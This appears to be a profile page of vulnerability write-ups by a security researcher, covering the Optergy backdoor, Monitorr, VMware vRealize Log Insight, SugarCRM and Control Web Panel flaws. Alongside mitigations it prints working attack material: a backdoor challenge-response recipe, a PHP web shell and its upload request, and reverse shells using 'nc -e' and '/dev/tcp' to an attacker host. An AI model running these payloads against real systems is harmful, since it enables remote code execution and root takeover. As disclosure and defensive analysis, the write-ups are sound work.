h00die-gr3y (44)

Last Login: March 21, 2023
Assessments
14
Score
44

h00die-gr3y's Latest (16) Contributions

Sort by:
Filter by:
1
Ratings
Technical Analysis

Backdoors

Since the dawn of our computing era, we have seen backdoors added in application code. You can find them in applications, operating systems, firmware etc and you see a variety of sophistication in the development and deployment of these backdoors.
The more or less official definition of a backdoor can be found at wikipedia and defines it as:

A typically covert method of bypassing normal authentication or encryption in a computer, product, embedded device (e.g. a home router), or its embodiment.

Backdoors can vary from a simple hard coded user / password combination to sophisticated rootkits, object code backdoors, asymmetric backdoors and compiler backdoors which are quite well explained in the article.

Reasons to install backdoors are either for legitimate reasons to allow access to development or support but in most cases it has a malicious intent to enable unauthorized access to system and applications. In any case, allowing backdoors in your code is not a good idea, because how well coded and secure, there is always somebody that discovers the damn thing and starts using it for different reasons.

The example below shows a pretty sophisticated undocumented backdoor in the Optergy building management system. During a reverse engineering code review, this backdoor was discovered in 2019 by a security researcher Gjoko Krstic a.k.a. LiquidWorm.

During the review a backdoor script called Console.jsp located in /usr/local/tomcat/webapps/ROOT/WEB-INF/jsp/tools/ was discovered which was not mentioned in any documentation, and it appeared to be a well-coded backdoor.
Once you navigate to the console, issuing a command and clicking Exec resulted in errors. Clicking the Get button ConsoleResult.html?get returns a JSON response message:

{"response":{"message":"1679481930381"}}

The question now is to satisfy this challenge response to successfully execute commands.

And after de-compiling the ConsoleResult.class java bytecode it revealed how this developer backdoor console actually works.

Lines 065, 066, and 067 of the code block below reveals the logic how to use this ‘developer’ console.
The challenge is created once you issue the /tools/ajax/ConsoleResult.html?get AJAX request. This challenge is used to generate a SHA-1 hash and then generate an MD5 hash from the SHA-1 hash.
At the end, you must concatenate the two values which becomes the answer that you need to issue together with the command you want to execute in the request.

With Cyberchef, you can easily compile the recipe together to get the results.
SHA1 of challenge value: 1679481930381
MD5 of SHA1

Challenge: 1679481930381
SHA1: 6c2ba45326f687498923413420c890ebf5b7602c
MD5 of SHA1: 421dc80c2bea0c3710679605a6159162
Response: 6c2ba45326f687498923413420c890ebf5b7602c 421dc80c2bea0c3710679605a6159162

Decompiled ConsoleResult.class

ConsoleResult.class:
032: public class ConsoleResult
033: implements ActionBean, ValidationErrorHandler
034: {
035: private ActionBeanContext context;
036: @Validate(required=true, on={"execute"}, minlength=1)
037: private String command;
038: @Validate(required=true, on={"execute"}, minlength=1)
039: private String challenge;
040: @Validate(required=true, on={"execute"}, minlength=1)
041: private String answer;
042: private final Object lock;
043:
044: public ConsoleResult()
045: {
046: lock = new ConsoleResult.Lock(null);
047: }
048:
049:
050:
051:
052:
053:
054: @DefaultHandler
055: public Resolution execute()
056: {
057: long l1 = 1500L;
058: ServletContext localServletContext = getContext().getServletContext();
059: List localList = (List)localServletContext.getAttribute("challengeList");
060:
061: long l2 = Long.parseLong(challenge);
062: if ((localList != null) && (localList.contains(Long.valueOf(l2))))
063: {
064: localList.remove(Long.valueOf(l2));
065: String str1 = Util.makeSHA1Hash(Long.toString(l2));
066: String str2 = Util.makeMD5Hash(str1);
067: String str3 = str1 + str2;
068:
069: if (!str3.equals(answer))
070: {
071: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Response to Answer"));
072: }
073:
074: String str4 = "";
075: ProcessStreamReader localProcessStreamReader = null;
076: try
077: {
078: String[] arrayOfString = command.split("\\ ");
079: ProcessBuilder localProcessBuilder = new ProcessBuilder(arrayOfString);
080: localProcessBuilder.redirectErrorStream(true);
081: Process localProcess = localProcessBuilder.start();
082: ConsoleResult.ProcessWrapper localProcessWrapper = new ConsoleResult.ProcessWrapper(this, localProcess);
083:
084: localProcessWrapper.start();
085: localProcessStreamReader = new ProcessStreamReader(localProcessWrapper.getfProcess().getInputStream());
086: localProcessStreamReader.start();
087: try
088: {
089: localProcessWrapper.join(l1);
090: localProcessStreamReader.join(l1);
091: }
092: catch (InterruptedException localInterruptedException)
093: {
094: localInterruptedException.printStackTrace();
095: localProcessWrapper.interrupt();
096: }
097: }
098: catch (Exception localException)
099: {
100: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Command"));
101: }
102:
103:
104: str4 = localProcessStreamReader.getString();
105:
106: JSONObject localJSONObject = JSONConverter.createMessageResponse(str4);
107: return new JSONResolution(localJSONObject);
108: }
109: return new JSONResolution(JSONConverter.createErrorResponse("Invalid Challenge"));
110: }
111:
112: public Resolution get()
113: {
114: ServletContext localServletContext = getContext().getServletContext();
115: Object localObject = (List)localServletContext.getAttribute("challengeList");
116: if (localObject == null) {
117: localObject = new ArrayList();
118: }
119: long l = System.currentTimeMillis();
120: ((List)localObject).add(Long.valueOf(l));
121:
122: WebUtil.SetServletAttribute(localServletContext, "challengeList", localObject);
123:
124: JSONObject localJSONObject = JSONConverter.createMessageResponse(Long.toString(l));
125: return new JSONResolution(localJSONObject);
126: }

The Burp output below shows exactly what happens under the cover.

Click Get button to get the challenge value

POST /tools/ajax/ConsoleResult.html?get HTTP/1.1
Host: 192.168.201.31
Content-Length: 0
Accept: */*
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://192.168.201.31
Referer: http://192.168.201.31/tools/Console.t00t
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186
Connection: close

Response is a JSON message with the challenge value

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, private, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Content-Type: application/json;charset=utf-8
Content-Language: en-US
Content-Length: 40
Date: Wed, 22 Mar 2023 10:45:30 GMT
Connection: close

{
  "response": {
     "message":"1679481930381"
   }
}

Now use the SHA1/MD5 recipe to determine the valid response to the challenge together with the command to be executed and click on the exec button.
This generates a POST request and executes the command.

Execute the whoami command

POST /tools/ajax/ConsoleResult.html HTTP/1.1
Host: 192.168.201.31
Content-Length: 119
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.201.31
Referer: http://192.168.201.31/tools/Console.t00t
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=D671EA8E9B1E2ED42528FD2DB16DE186
Connection: close

&command=whoami&challenge=1679481930381&answer=6c2ba45326f687498923413420c890ebf5b7602c421dc80c2bea0c3710679605a6159162

Response is a JSON message with the command output of whoami

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-cache, private, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Content-Type: application/json;charset=utf-8
Content-Language: en-US
Content-Length: 38
Date: Wed, 22 Mar 2023 10:49:56 GMT
Connection: close

{
"response":{
   "message":"optergy\r\n"
   }
}

The above example shows once more that even sophisticated backdoors can be discovered by code reviews and therefore become vulnerable to misuse of malicious actors. It underpins the guidance again to avoid programming backdoors in your application code.

Mitigation

All Optergy Proton / Enterprise versions 2.3.0a and below are vulnerable.
Unfortunate like most IoT type applications, still vulnerable deployments can be found since the discovery in 2019.
Patching IoT devices still remains a challenge for a lot of companies out there :–(

Please upgrade to the subsequent versions to mitigate this vulnerability.

I could not resist the temptation to create a Metasploit module to test this vulnerability. A local version of this module can found at the References section and I have also created an OVA image with a vulnerable Optergy Proton application to play with.
Submission to the mainstream of Metasploit is in progress.

References

CVE-2019-7276
Applied Risk: Optergy Proton / Enterprise 2.3.0a Multiple Vulnerabilities
Public Exploit – Packetstorm
Metasploit Development h00die-gr3y

Credits

Credits goes to Gjoko Krstic a.k.a. LiquidWorm who discovered this vulnerability.

1
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Monitorr is a simple web application that allows you to setup a dashboard to monitor various web site / web application up or down state. It has been around for a while and is supported on both Linux and Windows, but development seems to be stalled.
Unfortunately this nice neat web application suffers from a remote code execution vulnerability that allows an attacker to upload a webshell tagged as a GIF image and execute malicious php code.
A typical vulnerability that has been in OSWASP top 10 A04_2021-Insecure_Design for a long time => CWE-343 Unrestricted Upload of File with Dangerous Type, but developers still seems to get this wrong.

All versions including v1.7.6m are vulnerable and no patch is available.

Evidence of compromise

When you want to check if your system is compromised, please look for unexpected files with extension like php, phar, php7 in the assets/data/usrimg (Linux) or assets\data\usrimg (Windows) directory. Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.

Mitigation

All versions of Monitorr are vulnerable, and the only mitigation is to restrict the execution of php code at the directory where the malicious file uploads are stored (Linux: <web_root>/assets/data/usrimg or Windows: <web_root\assets\data\usrimg).

I have created a Metasploit module to test this vulnerability. A local version of this module can found at the References section.
Submission to mainstream development is in progress.

References

CVE-2020-28871
Lyins Lab Discovery
Public Exploit – Packetstorm
OSWASP top 10 – A04_2021-Insecure_Design
CWE-343 Unrestricted Upload of File with Dangerous Type
Metasploit Development h00die-gr3y

Credits

Credits goes to Lyins Lab below who discovered this vulnerability.

2
Ratings
Technical Analysis

On 31 January 2023, security researcher James Horman and team from Horizon3.ai published a Technical Deep Dive on vulnerabilities that exist in VMware vRealize Log Insight and how to exploit those to get unauthenticated remote access to the application. Please read the blog VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive for all the technical details.

What makes this use case particular interested is the chaining of multiple vulnerabilities to achieve the unauthenticated RCE.
Basically there are four vulnerabilities that are published in the VMware VMSA-2023-0001 security disclosure:

  • CVE-2022-31706: VMware vRealize Log Insight Directory Traversal Vulnerability
  • CVE-2022-31704: VMware vRealize Log Insight broken Access Control Vulnerability
  • CVE-2022-31710: VMware vRealize Log Insight Deserialization Vulnerability
  • CVE-2022-31711: VMware vRealize Log Insight Information Disclosure Vulnerability

The analysis shows that three vulnerabilities CVE-2022-31706, CVE-2022-31704 and CVE-2022-31711 are chained to achieve the RCE.

In a nutshell:

  1. CVE-2022-31704 is used to gain unauthorized access to the Apache Thrift server to execute commands. Apache Thrift is a RPC framework that allows client/server communication and is typically used to establish communication between components of the system.
  2. The Apache Thrift server in the VMware vRealize Log Insight application is vulnerable and can be accessed with a client to execute specific commands defined in the framework.
  3. In this scenario, two RPC commands are being exploited, remotePakDownloadCommand and pakUpgradeCommand that allows for an unauthenticated upload of a malicious PAK file with an attached payload that can be extracted to any place on the filesystem using CVE-2022-31706 that allows for Directory Traversal.
  4. Last but not least, the remotePakDownloadCommand requires a node token to work. A node token is a guid that is unique per instance of Log Insight. This information is not readily available to an unauthenticated user. However, there are various Thrift RPC commands that leak the node token including getConfig and getHealthStatus, which links back to the third CVE-2022-31711 – VMware vRealize Log Insight Information Disclosure Vulnerability.

Now let’s see in real-life practice, how this vulnerability works…

First we need install a vulnerable instance of VMware vRealize Log Insight, which you can download from this link.
You need to be registered as a customer or you can apply for a trial license before you can download the OVA.
Import the OVA in your favorite hypervisor application. I am using Oracle VirtualBox.
Please allocate enough memory and CPU (minimal 4 GB and 2 vCPU) otherwise your appliance will be dead slow and the exploit will fail due to lack of space in the /tmp directory.

Go thru the setup of the appliance. This is all very straight forward.
If you have the appliance running, go to the POC at Github that has been created by the Horizon3.ai team.
Clone the repository.
Before you start executing the exploit, please install Thrift python support.

#  pip3 install thrift

and install the thrift-compiler.
Not needed for the exploit to work but it gives you the ability to generate thrift modules for other languages such as ruby.

# apt install thrift-compiler

The last thing that you need to do is to correct a small typo that the guys from Horizon3.ai made in their code.
Yeah, everybody makes mistakes, even these guys ;–)

Open VMSA-2023-0001.py with your favorite editor and go to the section below.

def remote_pak_download(client, node_token, http_server_address, http_server_port):
    command = Command()
    command.commandType = 9

    download_command = RemotePakDownloadCommand()
    download_command.sourceNodeToken = node_token
    # The remote system does not return an error if this url is incorrect.
    # It just silently fails
    download_command.requestUrl = f"http://{http_server_address}:{http_server_port}/exploit.tar"
    download_command.fileName = "exploit.pak"

    command.remotePakDownloadCommand = download_command

Change download_command.fileName = "exploit" to download_command.fileName = "exploit.pak" and save the file.

Now we are ready to run the exploit against our installed target.

  • The exploit will gain access by obtaining the token.
  • Next, it will create a malicious PAK file with the payload attached that is a crontab file with a netcat command connecting back to your system.
  • PAK file gets upload and extracted using the vulnerable Apache Thrift server running on the Log Insight server.
  • Run a netcat listener on your system to catch the netcat connection from the target system triggered by the cron daemon after successful exploitation.
# python3 ./VMSA-2023-0001.py --target_address 192.168.100.92 --http_server_address 192.168.100.7 --http_server_port 1981 --payload_file payload --payload_path /etc/cron.d/exploit
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: 8984be67-2394-4da1-bf87-2635d558329d
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.100.92 - - [03/Feb/2023 17:19:02] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered
# nc -lnvp 8888
listening on [any] 8888 ...
connect to [192.168.100.7] from (UNKNOWN) [192.168.100.92] 42746
uname -a
Linux localhost 4.19.245-1.ph3 #1-photon SMP Thu Jun 2 02:30:39 UTC 2022 x86_64 GNU/Linux
whoami
root
cat /etc/issue
VMware vRealize Log Insight
cat /etc/photon-release
VMware Photon OS 3.0
PHOTON_BUILD_NUMBER=05f9d3d8d

If you login into the appliance, you can find the exploit.pak in the /tmp directory and the a cron file exploit created in the /etc/cron.d directory.
If you check the contents of the PAK file, you will see the ../../etc/crond.d/exploit file with the directory traversal.

root@localhost [ ~ ]# ls -l /tmp/*.pak
-rw-r--r-- 1 root root 122880 Feb  3 17:18 /tmp/exploit.pak
root@localhost [ ~ ]# ls -l /etc/cron.d/exploit
-rw-r--r-- 1 root root 51 Feb  3 12:24 /etc/cron.d/exploit
root@localhost [ ~ ]# cat /etc/cron.d/exploit
* * * * * root nc -e /bin/bash 192.168.100.7 8888

root@localhost [ ~ ]# tar -tvf/tmp/exploit.pak
-rw-r--r-- root/root     35768 2023-02-03 09:10 upgrade-image-8.10.2-21145187.rpm
-rw-r--r-- root/root     35768 2023-02-03 09:10 upgrade-driver
-rw-r--r-- root/root     35768 2023-02-03 09:10 eula.txt
-rw-r--r-- root/root      1926 2023-02-03 09:10 VMware-vRealize-Log-Insight.cert
-rw-r--r-- root/root      1790 2023-02-03 09:10 VMware-vRealize-Log-Insight.mf
tar: Removing leading `../../' from member names
-rw-r--r-- root/root        51 2023-02-03 12:24 ../../etc/cron.d/exploit

The example above show that the exploit is pretty simple to weaponize and execute, however there is a low probability of exploitation in the wild.
The main reason is that VMware vRealize Log Insight is typically not exposed to the public Internet and the Thrift RPC ports 16520 through 16580 should be accessible for the exploit to work.
But from the inside, it is of course a very attractive target to exploit because it has tons of nice information on the network and servers ready to be disclosed to an attacker.

Mitigation

Please update VMware vRealize Log Insight to 8.10.2.

References

Horizon3.ai: VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive
VMware advisory
Horizon3.ai: POC

Credits

Credits goes to the security researchers below that analyzed the vulnerabilities and discovered the RCE chain.

1

@rbowes-r7, I did some testing myself on the community editions, but I did not get the vulnerability to work on that platform.
The commercial editions are affected as outlined in the vendor advisory.

3
Ratings
Technical Analysis

Last December, 28th 2022, a zero.day vulnerability in the SugarCRM application was disclosed by sw33t.0day. SugarCRM is a popular CRM application that is used by thousands of customers and the latest run of shodan shows more than 5600 instances active on the Internet.
It is fair to say that not all instances are vulnerable. There is a fast amount of SugarCRM Community Editions amongst them that are not affected by this vulnerability.

For the vulnerable versions, please check the security advisory sugarcrm-sa-2023-001 from the vendor.

The vulnerability in sugarCRM could allow an unauthenticated attacker to upload a malicious PNG file with embedded PHP code to the /cache/images/ directory on the web server. Once uploaded to the server, depending on server configuration, the attacker may be able to execute that code over the web via HTTP or HTTPS gaining access to the system.

The vulnerability is caused by two issues in the code base of sugarCRM.

First issue is a missing authentication check in the loadUser() method in include/MVC/SugarApplication.php.
After a failed login, the session does not get destroyed and hence the attacker can continue to send valid requests to the application.
The burp request below shows this behavior.

Authentication request and response from a vulnerable instance

POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Connection: close

module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a

Response is a HTTP 500 message and the response says You must specify a valid username and password. Could be different depending on the language settings.

HTTP/1.0 500 Server Error
Date: Wed, 18 Jan 2023 05:54:58 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Status: 500 Server Error
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly;
Content-Length: 47
Connection: close
Content-Type: text/html; charset=UTF-8

You must specify a valid username and password.

After applying the suggested fix below from the vendor, the session information gets destroyed after a failed login and further request will fail.

//If there was a login error, we should not allow the further code execution and destroy the session

if (isset($_SESSION['login_error'])) {

if ($sess->getId()) {

$sess->destroy();

};

header('Location: ' . $this->getUnauthenticatedHomeUrl(true));

exit();

}

Burp response after the patch, where the response says You need to be logged in to perform this action.

HTTP/1.0 500 Server Error
Date: Tue, 17 Jan 2023 07:23:56 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=cf6361a9-6222-45f4-bcfb-08d0dc88376e; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
Status: 500 Server Error
Content-Length: 49
Connection: close
Content-Type: text/html; charset=UTF-8


You need to be logged in to perform this action.

The second issue is around the ability to upload of a malicious PNG file with PHP code embedded that can be executed by the attacker.
The vulnerable endpoint is /index.php?module=EmailTemplates&action=AttachFiles

There is a good reference Persistent PHP payloads in PNGs that explains very well how to build a malicious PNG file with PHP code embedded.
The are several ways to hide web shell code into a PNG to make the upload of such malicious PNG successful.
In this case, we will embed the web shell code into a so called PLTE chunk which stores the color palette code of a PNG.
This PLTE chunk is a critical chunk of data that does not get compressed when uploading a PNG which typically a lot of web applications do nowadays.

The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:

Red: 1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)

Using the PLTE chunk, we potentially have 256*3 bytes available to inject our payload into such a critical chunk, which should be more than enough. The only constraint being that the length of the payload must be divisible by 3.

Our main objective is to keep our web shell small and keep it flexible to accommodate large payloads to avoid the restrictions 768 bytes and the length of the payload. By using a PHP payload like <?=$_GET[0](base64_decode($_POST[1]));?>, it will satisfy those requirements where you externalize the actual payload to be delivered to the target and can modify the PHP shell command functions during runtime such as exec(), passthru(), shell_exec() and system().
See curl examples below.

# echo 'ls -l' | base64 
bHMgLWwK
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=passthru' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=system' -o -
# curl -XPOST -d '1=bHMgLWw=' 'http://localhost/yohoo.phar?0=shell_exec' -o -

The burp requests below shows a success upload of the malicious PNG with PHP code embedded at a vulnerable target followed by a successful command injection.

Malicious PNG File upload

POST /index.php HTTP/1.1
Host: TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Length: 601
Connection: close

------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="action"

AttachFiles
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="module"

EmailTemplates
------WebKitFormBoundaryWeTJtA8WByYIQMGR
Content-Disposition: form-data; name="file"; filename="yohoo.phar"
Content-Type: image/png

PNG

--Garbled binary text--<?=$_GET[0](base64_decode($_POST[1]));?>--Garbled binary text--
------WebKitFormBoundaryWeTJtA8WByYIQMGR--

Successful response of the upload will show the file entry at end of the response.

HTTP/1.1 200 OK
Date: Wed, 18 Jan 2023 05:55:00 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=c09b717d-9ff8-42ec-a2fb-1ad3edfab4c5; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 4460
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang='en_us'>
<head>
---- A LOT of HTML CRAP ----
<div id="main">
    <div id="content">
                <table style="width:100%" id="contentTable"><tr><td>
        ["cache\/images\/yohoo.phar"]

Command execution of ls -l

POST /cache/images/yohoo.phar?0=passthru HTTP/1.1
Host:TARGET:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Cookie: PHPSESSID=06457e85-5a6c-4428-880a-8e5134137650
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close

1=bHMgLWwK

Remote command execution response

HTTP/1.1 200 OK
Date: Mon, 16 Jan 2023 16:23:10 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1209
Connection: close
Content-Type: text/html; charset=UTF-8

PNG

--Garbled binary text--total 76
-rw-r--r-- 1 www-data www-data 207 Jan 16 14:38 yohoo.phar
--Garbled binary text--

You can of course vary the 0 parameter with other PHP shell command functions such as exec, shell_exec or system.

Evidence of compromise

When you want to check if your system is compromised, please look for unexpected files in the /cache/images/ directory. The published exploit had a filename sweet.phar that was not cleaned. However, attackers have changed these filenames such as imagefile.phar, meow.phar, rvsm.phar, aws.phar, and are using files with other extensions.
Also be conscious of the fact that the files might have been cleaned up by the attacker to cover their tracks.

Other evidence might be failed execution request for files under the /cache/images/ directory with the extension php, phar, phtml, php7, or any other executable extension NOT allowed by your web server configuration. The response codes can be found in your web server logs, such as 404 – the file was not found or 403 – the access was denied by web server.

Mitigation

Please follow the guidelines from the vendor to patch your system January 5, 2023: Security vulnerability update and FAQ or configure additional security settings in your web server such as preventing PHP code parsing/execution using .htaccess setting file in /cache/images/ directory and/or prevent PHP code execution by updating security settings in the php.ini file. Lots of security guidance is available on the Internet.
Another less obvious security measure to consider is to enable SAML authentication that will mitigate the authentication bypass issue, hence will protect you against unauthenticated malicious file uploads.

I have created a Metasploit module to test this vulnerability. A local version of this module can found at the References section.
Submission to Metasploit mainstream is completed and module is in production.

References

Full Disclosure
Public Exploit – Packetstorm
Security Advisory – sugarcrm-sa-2023-001
January 5, 2023: Security vulnerability update and FAQ
Encoding web shells in PNG IDAT chunks
Persistent PHP payloads in PNGs
Metasploit Development h00die-gr3y

Credits

Credits goes to sw33t.0day below who discovered this vulnerability.

3
Ratings
Technical Analysis

This vulnerability is all about “Why Quotes Matter”

In December 2022, security researcher Numan Türle from Gais Cyber Security discovered an unauthenticated remote code execution vulnerability in the Control Web Panel 7 (CWP) application. They state on their website that CWP is a World Leading advanced Free and PRO web hosting panel that gives you all the flexibility to effectively and efficiently manage your server and clients.

The vulnerability is exposed thru the admin endpoint /login/index.php?login which typically runs on port 2030 or 2086 for http and port 2031 and port 2087 for https. Successful exploitation results in command execution as the root user. CWP versions 0.9.8.1146 and below are vulnerable.

The issue is triggered by the improper use of quotes when a failed login entry is logged in the /var/log/cwp_client_login.log.
The example below shows why the proper usage of quotes is important when applied in a unix shell.

[root@localhost ~]# echo "$(whoami)"
root
[root@localhost ~]# echo '$(whoami)'
$(whoami)
[root@localhost ~]# echo "'$(whoami)'"
'root'
[root@localhost ~]# echo ''$(whoami)''
root

In the first example, the inline bash command $(whoami) gets executed within the echo command using double quotes.
However, if you use single quotes, it is treated as text which is the standard unix shell behavior. But if you try to be smart and put double quotes around the single quotes, it again executes $(whoami) because the single quotes are seen as text if surrounded by double quotes.
This is no secret to experienced unix admins, but typically software developers can be easily tricked when they use underlying unix shell commands and quotes in their programs.

And this is exactly the problem that triggers this vulnerability.
Let’s have a quick look, what is going under the hood….

Take the burp request below, where we will trigger a failed login entry using the existing default user root with a wrong password.

POST /login/index.php?login= HTTP/1.1
Host: 192.168.100.89:2031
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=idonotcare&commit=Login

If we monitor the /var/log/cwp_client_login.log then we can see an failed login entry.

[root@localhost ~]# tail -f /var/log/cwp_client_login.log
2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login='

If we do the same burp request, but now with our $(whoami) added.
And surprise, surprise, the whoami command gets executed (see second log entry).

[root@localhost ~]# tail -f /var/log/cwp_client_login.log
2023-01-14 17:37:04 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login='
2023-01-14 17:40:25 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=root'

Now lets take a reverse bash shell.

POST /login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1) HTTP/1.1
Host: 192.168.100.89:2031
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=idonotcare&commit=Login

And voila, a reverse shell as root user on the target.

# nc -lnvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.100.89.
Ncat: Connection from 192.168.100.89:51988.
bash: no job control in this shell
[root@localhost login]# whoami
whoami
root
You have new mail in /var/mail/root
[root@localhost login]#

Another interesting piece is that you actually can see the command running in the process list that is writing the log entry to the log file.
You can clearly see the improper use of the double quotes in this command line.

root     12238 12231  0 03:41 ?        00:00:00 sleep 17897
root     12493   910  0 03:43 ?        00:00:37 php-fpm: pool cwpsrv
postfix  27739  1538  0 07:41 ?        00:00:00 pickup -l -t fifo -u -o content_filter= -o receive_override_options=no_header_body_checks
root     29668     2  0 08:02 ?        00:00:00 [kworker/0:3]
root     30160     2  0 08:10 ?        00:00:00 [kworker/0:1]
root     30718     2  0 08:15 ?        00:00:00 [kworker/0:0]
root     30869  7118  0 08:17 ?        00:00:00 sh -c echo "2023-01-14 13:17:46 root Failed Login from: 192.168.100.7 on: 'https://localhost:2031/login/index.php?login=$(bash -i >& /dev/tcp/192.168.100.7/4444 0>&1)'" >> /var/log/cwp_client_login.log

If you want to test it yourself, please follow this guidance to build a vulnerable configuration. Please do not expose this to the Internet unless you want to be compromised ;–)
Before you execute step 7. sh cwp-el7-latest, please edit the file and make the following adjustments to download the vulnerable version and prevent the auto update.

nano /usr/local/src/cwp-el7-latest
>>>>>
# wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1148.zip
# unzip -o -q cwp-el7-0.9.8.1148.zip
# rm -f cwp-el7-0.9.8.1148.zip

wget static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1146.zip
unzip -o -q cwp-el7-0.9.8.1146.zip
>>>>>
# update cwp
chmod +x /scripts/cwp_api
# sh /scripts/update_cwp
sh /scripts/cwp_set_memory_limit
>>>>>

After running the installation script which takes about 30 minutes, please rename /usr/local/cwpsrv/htdocs/resources/scripts/update_cwp to update_cwp.something otherwise CWP will get updated to the latest version when you start the application.

Mitigation

The CWP application has an auto update feature that can not be disabled in the application. Therefore the likelihood to find any vulnerable CWP application in the wild is almost zero.

I have created a Metasploit module. A local version of this module can found at the References section.

References

Github
Packetstorm
Metasploit Development h00die-gr3y

Credits

Credits goes to the security researcher below who discovered and analyzed this vulnerability.

2
Ratings
Technical Analysis

During the boring Christmas Days, — those days where you have to sit together, be nice to each other and eat and drink too much —, I stumbled upon this RCE where surprisingly not much was published on the analysis of this vulnerability.
